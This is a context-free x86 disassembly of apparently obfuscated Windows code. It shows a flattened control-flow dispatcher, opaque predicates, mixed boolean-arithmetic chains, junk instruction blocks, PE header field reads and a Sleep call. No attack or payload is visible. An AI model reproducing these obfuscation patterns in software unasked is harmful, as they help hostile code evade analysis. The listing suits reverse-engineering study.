or esi, edx
and ecx, 0x9374b7b7
mov edx, esi
xor esi, 0x1010a100
xor edx, 0x808
or eax, ecx
or esi, 0x4012b7
and edx, 0x4c800808
and esi, 0x9374b7b7
or edx, esi
mov esi, 0x21c73f4c
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x5d126e95
and ecx, 0xa2ed916a
or eax, ecx
xor eax, 0x82a6c39d
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setge al
setl ch
mov edx, eax
mov dh, al
or al, ah
xor dl, cl
xor cl, ch
xor dh, ah
xor al, 1
or ah, ch
and cl, ch
or al, dh
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, dl
xor cl, 1
xor ah, al
or al, dl
or cl, ch
mov edx, 0x6e5075e
not al
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov ecx, 0x6e5075e
cmove edx, esi
jmp 0x40f33a
mov eax, 0xf06b9920
jmp 0x402740
mov eax, 0xca298bbd
jmp 0x402740
mov eax, 0x4adceec4
jmp 0x402740
mov eax, 0xbc136f4
jmp 0x402740
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x74]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00434740
add esp, 0xc
rcr ebx, 0xe3
rcr eax, 0xc7
rol edx, 0x84
not ebx
bswap esi
rol esi, 0x19
imul edi
neg edx
rcr ebx, 0xe0
rcl eax, 0x85
rol eax, 0xbb
rol esi, 6
bswap ebx
or esi, 0x2e
inc esi
sub eax, 0x33
rol eax, 0x9a
not edx
not esi
dec edi
neg edx
and eax, 0x74
imul edx
or edi, 0x26
sub edx, 0x29
rol ebx, 0x19
neg edx
imul edi
sbb ebx, 0x8a
neg edi
inc ebx
ror eax, 0xfb
bswap ebx
mov eax, 0x4c
sub esi, 0x44
sbb eax, 0x34
neg eax
mov edi, 0x60
dec ebx
imul edi
imul esi
sbb eax, 0x5c
sub esi, 0xa8
or esi, 0xaa
rcl ebx, 0x59
rcr edi, 0xf0
ror edi, 0xf7
add edi, 0x26
or ebx, 0xea
bswap eax
rcr edx, 0x3d
inc edx
bswap ebx
neg edx
rcl eax, 0xd2
add edx, 0x5f
sub esi, 0x58
inc edi
rol ebx, 0x53
rcr edx, 0xf2
add edi, 0xdb
sub edi, 0xe5
bswap ebx
bswap ebx
rcl ebx, 0x9c
bswap edx
and edx, 0x65
dec edx
add edx, 0x56
rcr edx, 0xc1
neg edi
inc eax
dec esi
imul ebx
sub eax, 0x80
sub ebx, 0x5c
imul esi
ror ebx, 0x7a
ror ebx, 0xa6
sbb edi, 0x8b
not eax
rcr edi, 0xfa
not eax
rcr edi, 0xe2
sbb ebx, 0x92
ror edx, 0x64
or esi, 0x4d
and esi, 0x87
sub edi, 0xed
dec edx
ror edx, 0xe0
rcl edi, 0xd5
sbb esi, 0x71
sbb eax, 0xde
ror ebx, 0xcf
rcl edi, 0xc4
rol esi, 0x9e
inc edx
rcl eax, 0xcf
rol edx, 0xaa
rcl esi, 0xe
sub edi, 0x4a
and ebx, 0xb3
or edi, 0xff
or eax, 0x40
sbb edi, 0xaa
not edx
ror ebx, 0xa8
add edx, 0xe3
mov esi, 0xed
not edi
inc eax
sub eax, 0xc0
mov ebx, 0xe3
neg esi
mov ebx, pe_nt_image_headers32
add edx, 0x1f
sub esi, 8
mov edi, 0x8f
inc edx
imul ebx
rol ebx, 0x36
inc eax
neg edx
or esi, 0x41
inc esi
add edx, 5
neg ebx
rol esi, 0xa6
add ebx, 6
sub edx, 0x3e
or edx, 0xd9
sub ebx, 0x5b
rcl eax, 0x70
neg eax
rcl ebx, 0x16
sbb edi, 0x3b
or esi, 0xe9
and eax, 0x93
sbb ebx, 0x4a
sub edi, 0
not esi
rcl ebx, 0x73
not ebx
and edx, 0x5a
mov edx, 0xb8
dec esi
neg esi
add edi, 0xe2
ror esi, 0x24
mov eax, 0xbe8e62
jmp 0x402740
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x138]
mov dword [eax], ecx
mov eax, 0xb585996e
jmp 0x402740
mov eax, dword [0x4f6184]
mov edi, 0x90bbdbd3
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xdc5ffb61
and eax, 0x23a0049e
or ecx, eax
mov eax, ecx
xor eax, 0x8441ba01
xor ecx, 0x3a0008e
and ecx, 0x5bbe41ee
and eax, 0xa441be11
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x80002c01
xor edx, 0x5bbe41ee
xor ecx, 0x5bbe41ef
and ecx, edx
and eax, 0x8a066dad
and edx, 0x75f99252
or edx, eax
mov eax, ecx
not eax
and ecx, 0x11115f91
mov esi, eax
and esi, 0xeeeea06e
or ecx, esi
mov esi, edx
xor esi, 0x11111211
xor edx, 0x8a066dac
or eax, edx
and edx, 0xeeeea06e
and esi, 0x11115f91
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xbcf82b25
and edx, 0x4307d4da
or edx, esi
mov esi, ecx
not esi
and ecx, 0x4307d4da
or eax, esi
and esi, 0xbcf82b25
or ecx, esi
not eax
mov esi, 0x6a638919
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf7ecf76c
mov edx, ecx
and edx, 0x8130893
or eax, edx
xor eax, 0x8130893
xor ecx, eax
test ecx, eax
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setge cl
setl al
mov ch, cl
xor ah, cl
xor al, dl
xor ch, dl
and ah, dl
and ch, cl
or cl, dl
mov dl, ch
xor ch, al
xor al, 1
xor cl, 1
xor dl, 1
or cl, ah
or al, dl
mov edx, ecx
xor al, 1
or al, ch
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x90bbdbd3
cmovne eax, esi
test dl, dl
cmove eax, edi
jmp 0x40f81f
mov eax, dword [ebp - 0x1b0]
mov eax, dword [eax]
add eax, dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov eax, 0xb2d2102f
jmp 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xe14a4b10
mov edx, eax
and edx, 0x1eb5b4ee
and eax, 0xde7ef5bc
or esi, edx
mov edx, ecx
xor edx, 0xfffffffe
and edx, ecx
xor esi, 0xe14a4b10
and ecx, 0x21810a43
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xde7ef5bc
mov edi, esi
and edi, 0x21810a43
or edx, edi
mov edi, 0x9e9e5ab7
xor eax, edx
not eax
or eax, esi
mov esi, 0x81f3f614
xor eax, 0xffffffff
sete ch
setne ah
cmp dword [0x4f6180], 0xa
mov dh, ch
setge cl
mov dl, cl
mov al, cl
inc dl
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, cl
and cl, ch
or dh, al
xor al, 1
or al, ah
and ah, dl
or dl, ch
mov bl, dh
or cl, ah
xor bl, al
or al, dh
xor cl, 1
xor al, 1
mov ah, cl
or cl, dl
or al, bl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, dl
and dl, cl
xor ah, 1
or cl, ah
and ah, al
or ah, dl
mov al, cl
mov edx, 0x9e9e5ab7
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, edx
cmovne eax, edi
jmp 0x40fddd
mov eax, 0xd342a782
jmp 0x402740
mov eax, dword [0x4f6184]
mov edi, 0x40b71cce
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x647c2b28
mov edx, ecx
not edx
and eax, ecx
or ecx, 0x9b83d4d7
and edx, 0x4342328
mov esi, ecx
and esi, 0xfaca1cd4
or edx, esi
mov esi, eax
not esi
and eax, 0x535e32b
or ecx, esi
and esi, 0xfaca1cd4
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfce84874
and eax, 0x317b78b
or ecx, eax
mov edx, ecx
xor ecx, 0x612b8c81
xor edx, 0x9894635c
mov eax, edx
and ecx, 0x712fcfc1
and eax, 0x8ed0303e
and edx, 0x1a66f343
or eax, ecx
mov ecx, eax
xor ecx, 0x8490003c
xor eax, 0x712fcfc0
and ecx, 0xe5990cbc
and eax, 0xfffffffe
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xb99fa7f5
and ecx, 0x4660580a
or edx, ecx
xor edx, 0x5c06ab48
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x437a0004
and eax, 0x8840012
mov edx, ecx
and edx, 0x14016ce9
or ecx, 0x40722048
or esi, edx
and ecx, 0xe072b348
mov edx, esi
xor edx, 0x3080004
xor esi, 0xa000b348
or eax, ecx
and esi, 0xe072b348
and edx, 0x17094ca5
or edx, esi
mov esi, 0xb367ad17
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x577b6ced
and ecx, 0xa8849312
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf256b3cc
and ecx, 0xda94c33
or eax, ecx
mov ecx, eax
xor ecx, 0x6254b340
xor eax, 0x4010800
and eax, 0x9403088c
and ecx, 0x6bfcf773
or ecx, eax
xor ecx, 0x6bfcf773
setne dl
sete al
cmp dword [0x4f6180], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xb367ad17
mov al, ah
xor al, dl
test dl, dl
cmovne ecx, edi
test ah, 1
cmove ecx, esi
test al, 1
cmovne ecx, edi
mov eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x30]
mov eax, 0x9a0771c6
jmp 0x402740
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x36cf3054
jmp 0x402740
mov eax, dword [ebp - 0x60]
mov eax, 0x19e01dd
jmp 0x402740
cmp byte [ebp - 0x9b], 0
mov eax, 0x8f026deb
mov ecx, 0xf5dd1344
cmovne eax, ecx
jmp 0x402740
mov eax, dword [ebp - 0x8c]
mov eax, 0x45438e8c
jmp 0x402740
mov eax, 0xa43109a6
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x8782ed8
and eax, 0xa4018002
mov edx, ecx
and edx, 0x51841025
or ecx, 0x10542a2c
or esi, edx
and ecx, 0x12566b2c
mov edx, esi
xor edx, 0x82804d0
xor esi, 0x12064124
or eax, ecx
and esi, 0x12566b2c
and edx, 0x49a814d1
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x59fc3efd
and ecx, 0xa603c102
or eax, ecx
mov esi, eax
xor esi, 0x140a1300
andn edx, eax, esi
and esi, eax
mov ecx, edx
not ecx
and edx, 0x256a5c0b
mov edi, ecx
and edi, 0xda95a3f4
or edx, edi
mov edi, esi
not edi
and esi, 0x256a5c0b
or ecx, edi
and edi, 0xda95a3f4
or esi, edi
not ecx
xor esi, edx
mov edx, eax
not edx
and eax, 0xab46eef1
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x72383dd0
and esi, 0x8dc7c22f
or ecx, esi
mov esi, edx
and esi, 0x54b9110e
and edx, 0x40000000
or esi, eax
mov eax, ecx
xor eax, 0x1008c0
xor ecx, 0xd9cdd12f
xor esi, 0xeb46eef1
and eax, 0x4118c9e2
or edx, esi
mov esi, ecx
and esi, 0xbee7361d
or eax, esi
mov esi, edx
not esi
or ecx, edx
and edx, 0xbee7361d
and esi, 0x4118c9e2
not ecx
or esi, edx
xor esi, eax
or ecx, esi
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x24d2f805
and ecx, 0xdb2d07fa
mov edi, edx
not edi
and edx, 0x35a03fdb
or eax, ecx
mov ecx, eax
xor ecx, 0x24803801
xor eax, 0xdb2d07fa
mov esi, eax
or eax, edi
and edi, 0xca5fc024
and esi, 0xca5fc024
and ecx, 0x35a03fdb
or ecx, esi
or edx, edi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5d6c7875
and ecx, 0xa293878a
or eax, ecx
mov ecx, eax
xor ecx, 0x59483074
xor eax, 0x20818282
and eax, 0x24a5ca83
and ecx, 0xdb5a357c
or ecx, eax
mov eax, 0x47f458e1
cmp ecx, 0xdb5a357c
setne byte [ebp - 0xa6]
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov esi, 0xadaea90
mov dword [eax], 5
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x193d9d34
mov edx, eax
and eax, 0xe6c262cb
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xe6c262ca
or eax, edx
xor eax, 0xffffffff
setne al
sete ah
cmp dword [0x4f6180], 0xa
mov ch, al
setl cl
setge dl
and ch, dl
and cl, ah
xor al, dl
or cl, ch
and al, ah
xor cl, 1
xor al, 1
or cl, dl
or dl, ah
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x4d9b6c9e
cmovne eax, esi
test dl, 1
mov edx, 0x4d9b6c9e
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xb0], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x84], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
mov edi, edx
or eax, 0x2f14140
and edi, 0x80220a2
or edx, 1
mov esi, ecx
or esi, 0x45040608
and eax, 0x47f54748
and esi, 0x47f54748
or edi, esi
mov esi, ecx
and esi, 0xb0089815
and ecx, 0xf3763a64
or esi, eax
xor esi, edi
mov eax, esi
not eax
and esi, 0xaf361e3
and eax, 0xf50c9e1c
or esi, eax
mov eax, esi
not eax
and esi, 0xf3763a65
mov edi, eax
or eax, edx
and edi, 0xc89c59a
and edx, 0xc89c59a
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x12005aa0
and eax, 0x61880019
mov edx, ecx
or edx, 0x8c352046
and esi, 0x9e357ae6
and ecx, 0x428500
and edx, 0x9e357ae6
or ecx, esi
mov esi, 0x66e40a52
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x8c77a546
and ecx, 0x73885ab9
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe576e533
and ecx, 0x1a891acc
or ecx, eax
mov eax, ecx
xor eax, 0x80140013
xor ecx, 0x10011804
and ecx, 0x7563fd24
and eax, 0x8a9c02db
or eax, ecx
xor eax, 0x8a9c02db
sete dl
setne al
cmp dword [0x4f6180], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
not al
and ch, dl
mov edx, ecx
and al, ah
or al, ch
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x4f5ec245
cmovne eax, esi
test dl, dl
mov edx, 0x4f5ec245
cmovne eax, edx
test cl, cl
cmove eax, esi
jmp 0x402740
mov eax, 0x53ea7eda
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
mov eax, ecx
not eax
and ecx, 0xe3b01701
mov edx, eax
and edx, 0x1c4fe8fe
and eax, 0x40000000
or edx, ecx
mov esi, edx
xor esi, 0x1c4fe8fe
xor edx, 0x300001
mov ecx, esi
and esi, 0xbfffffff
or ecx, 0x40000000
and edx, 0x1c7760d3
or eax, esi
mov edi, ecx
and edi, 0xa3889f2c
mov esi, eax
not esi
and eax, 0x5c7760d3
or edx, edi
or ecx, esi
and esi, 0xa3889f2c
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
xor eax, 0x4c61ee13
and eax, ecx
not ecx
and ecx, 0x4c61ee13
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcc4f723f
and ecx, 0x33b08dc0
or eax, ecx
mov ecx, eax
xor ecx, 0x6882c
xor eax, 0x5a104051
and eax, 0xda385451
and ecx, 0x25c7abae
or ecx, eax
mov eax, ecx
xor eax, 0x208709a0
xor ecx, 0xc0005001
and ecx, 0xc540f20f
and eax, 0x3abf0df0
or eax, ecx
xor eax, 0x3abf0df0
mov dword [ebp - 0x15c], eax
mov eax, 0x7afef07e
jmp 0x402740
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xd0]
mov eax, 0xf4fdaf1a
jmp 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0x4340dece
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0xb9ad5794
not edx
mov ecx, edx
and esi, eax
and ecx, 0xb9ad5794
and edx, 0xe4576cce
and eax, 0x1ba89331
or ecx, esi
not esi
or eax, edx
and esi, 0x4652a86a
and ecx, 0xb9ad5795
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xd9e86bbe
mov esi, edx
and esi, 0x26179441
or ecx, esi
mov esi, eax
xor esi, 0x19a80330
xor eax, 0x24170440
and eax, 0x26179441
and esi, 0xd9e86bbe
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x994258f8
sete dl
setne al
cmp dword [0x4f6180], 0xa
setge ah
mov cl, ah
xor cl, al
or al, ah
or ah, dl
and cl, dl
xor cl, 1
mov edx, ecx
or cl, ah
xor dl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
or dl, cl
xor cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x4340dece
cmovne ecx, esi
test dl, 1
cmovne ecx, edi
test al, 1
jmp 0x410347
mov eax, 0xa84b797a
jmp 0x402740
cmp byte [ebp - 0x97], 0
mov eax, 0x422274be
mov ecx, 0xd9aaf439
cmovne eax, ecx
jmp 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edi, eax
and edi, 0x59280424
mov edx, eax
xor edx, 0xfd38e434
mov ecx, esi
and ecx, 0xa410e010
and edx, eax
and esi, 0x1fa28420
and eax, 0xe05d7bdf
or edi, ecx
or eax, esi
xor edi, 0x59280424
or edx, edi
mov edi, 0xf6d13f6c
mov ecx, edx
not ecx
and edx, 0x187f64c6
and ecx, 0xe7809b39
or edx, ecx
mov ecx, edx
xor edx, 0xb01900
xor ecx, 0xe54780f3
mov esi, ecx
and esi, 0x1e4a662f
and edx, 0xe1b599d0
or edx, esi
mov esi, eax
xor esi, 0xe01519d0
xor eax, 0x1fa28420
or ecx, eax
and eax, 0x1e4a662f
and esi, 0xe1b599d0
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xaac0e204
mov eax, ecx
not eax
and ecx, 0x7afee378
and eax, 0x85011c87
or ecx, eax
xor ecx, 0x7afee378
sete al
setne cl
cmp dword [0x4f6180], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
mov dl, ah
and al, ah
xor dl, 1
mov ah, al
or dl, cl
xor ah, 1
mov ecx, eax
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
mov ah, cl
xor cl, 1
and ah, dl
xor dl, 1
and cl, dl
or cl, ah
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or dl, ah
mov eax, edx
xor al, cl
test dl, 1
cmovne edi, esi
test cl, 1
not al
cmove edi, esi
test al, 1
mov eax, 0xf6d13f6c
cmovne edi, eax
mov eax, edi
jmp 0x402740
mov eax, dword [ebp - 0x8c]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
mov dword [ebp - 0x16c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
mov esi, eax
xor ecx, 0x940a000
xor esi, 0x86350201
or eax, 1
and esi, 0xb6bd52e3
and ecx, 0x4942ad1c
and edx, 0xed19e87e
and eax, 0x12e61781
or ecx, esi
or eax, edx
xor ecx, 0x8f75a200
xor eax, 0x12e61781
or eax, ecx
mov edx, eax
xor edx, 0xce4bc5a0
mov ecx, eax
and ecx, 0x4c2e6044
and edx, eax
not eax
and eax, 0xb3d19fbb
or ecx, eax
mov eax, ecx
xor ecx, 0x824185a0
xor eax, 0x4c080000
mov esi, ecx
or esi, 0x10b42a4c
and eax, 0x4e488120
and esi, 0x90b76ecc
or eax, esi
mov esi, edx
not esi
and edx, 0x6f489133
or ecx, esi
and esi, 0x90b76ecc
or edx, esi
not ecx
mov esi, 0x9d7c3183
xor edx, eax
or ecx, edx
not edx
and edx, 0x31b43a5f
and ecx, 0xce4bc5a0
or ecx, edx
setne ch
sete ah
cmp dword [0x4f6180], 0xa
mov cl, ch
setl dl
setge al
xor cl, al
and ch, dl
and al, ah
or dl, ah
or al, ch
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, al
xor al, 1
mov ah, al
or al, cl
xor dl, 1
xor al, 1
xor ah, cl
or al, dl
mov edx, 0xa3785b7d
mov ecx, eax
xor cl, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0xa3785b7d
cmove edx, esi
test cl, 1
cmove edx, eax
mov eax, edx
jmp 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov eax, 0xfe81fc4f
jmp 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x198], eax
mov eax, 0x126016fd
jmp 0x402740
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x2c]
mov eax, 0x53078081
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov eax, 0xdb6a0101
jmp 0x402740
mov eax, 0xee9e3fd7
jmp 0x402740
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x124], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x93fbad7c
mov edx, eax
not edx
and ecx, eax
or eax, 0x6c045283
and edx, 0x1bb8430
mov esi, eax
and esi, 0x964029cd
or edx, esi
mov esi, ecx
not esi
and ecx, 0x69bfd632
or eax, esi
and esi, 0x964029cd
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd14aadb0
and ecx, 0x2eb5524f
or eax, ecx
mov edx, eax
xor edx, 0x42b100cc
xor eax, 0xbd4eff33
mov ecx, edx
mov esi, eax
and esi, 0x597d7f8a
and ecx, 0xa6828075
and edx, 0x5071b283
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xae42914c
and esi, 0x51bd6eb3
or ecx, esi
mov esi, eax
and esi, 0xaf8e4d7c
and eax, 1
or esi, edx
xor ecx, 0xf73feec7
xor esi, 0x5071b282
or eax, esi
mov edx, eax
not edx
and eax, 0x9e135f78
and edx, 0x61eca087
or eax, edx
xor eax, 0x9e135f78
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x926fcc42
and eax, 0x6d9033bd
or ecx, eax
mov eax, ecx
xor eax, 0x92038402
xor ecx, 0x6d9033bd
mov esi, ecx
and esi, 0x21ec5964
and eax, 0xde13a69b
or eax, esi
mov esi, edx
not esi
and edx, 0xde13a69b
or ecx, esi
and esi, 0x21ec5964
or edx, esi
not ecx
mov esi, 0xd86e15ab
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x3a5a3f78
and eax, 0xc5a5c087
or ecx, eax
mov eax, ecx
xor eax, 0x38523858
xor ecx, 0x85a04006
and ecx, 0x87a84726
and eax, 0x7857b8d9
or eax, ecx
mov ecx, eax
xor ecx, 0x6084402
xor eax, 0x78411840
and eax, 0xf9e11b64
and ecx, 0x61ee49b
or ecx, eax
cmp ecx, 0x61ee49b
setne cl
cmp dword [0x4f6180], 0xa
setl dl
mov ah, dl
xor ah, cl
inc cl
mov al, ah
or cl, dl
xor al, 1
xor cl, 1
or cl, al
mov edx, ecx
xor cl, ah
xor dl, 1
or al, dl
xor dl, ah
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x2696e5a9
cmovne ecx, esi
test al, 1
mov eax, 0x2696e5a9
cmovne eax, ecx
jmp 0x4133de
cmp byte [ebp - 0xa6], 0
mov eax, 0x4f7e4324
mov ecx, 0x73b176e3
cmovne eax, ecx
jmp 0x402740
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
mov eax, 0x25a43b1f
jmp 0x402740
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x158]
mov esi, 0x4710510d
mov edi, 0x8aa4f8cd
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 1
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x5840244
and edx, 0xfa7bfdbb
or eax, edx
xor eax, 0x5840244
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1b1dd97c
and ecx, 0xe4e22683
or eax, ecx
xor eax, 0x1b1dd97c
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setge al
setl ch
mov cl, al
or ch, ah
or cl, dl
and dl, al
mov dh, cl
or cl, ch
xor dh, ch
mov ch, al
xor cl, 1
inc ch
or cl, dh
and ch, ah
or dl, ch
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or al, ch
mov ch, cl
xor al, 1
or al, dl
mov ah, al
xor ch, al
and al, cl
and ch, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov cl, ch
xor cl, al
test al, 1
mov eax, 0x8aa4f8cd
cmovne eax, esi
test ch, ch
cmove eax, edi
jmp 0x40f81f
mov eax, dword [ebp - 0x15c]
mov eax, 0xf520657b
jmp 0x402740
mov eax, dword [ebp - 0x24]
mov edx, dword [eax]
mov eax, edx
mov ecx, edx
not eax
or ecx, 0x20000000
mov edi, eax
mov esi, ecx
and esi, 0xf1c3ba63
and edi, 0xe3c459c
and eax, 0xf808b021
or edi, esi
mov esi, edx
xor esi, 0xdfffffff
and esi, edx
mov ebx, esi
not ebx
and esi, 0xe3c459c
or ecx, ebx
and ebx, 0xf1c3ba63
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x7f74fde
and edi, 0x7f74fde
and esi, 0xf808b021
or eax, edx
not ecx
or esi, edi
xor eax, esi
or ecx, eax
cmp ecx, 0xffffffff
mov ecx, dword [0x4f6184]
setne byte [ebp - 0xa3]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x4854d475
not edx
mov esi, edx
and ecx, eax
and esi, 0x4854d475
and edx, 0x367ede8f
and eax, 0xc9812170
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x4854d474
and esi, 0xb7ab2b8b
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x336d577e
mov esi, edx
and esi, 0xcc92a881
or ecx, esi
mov esi, eax
xor esi, 0x1010170
xor eax, 0x4128881
and eax, 0xcc92a881
and esi, 0x336d577e
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x857cb8c7
sete ah
setne dl
cmp dword [0x4f6180], 0xa
mov cl, ah
setl ch
setge al
xor cl, ch
or ch, ah
xor al, dl
xor ch, 1
mov ah, cl
or al, ch
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x384750b5
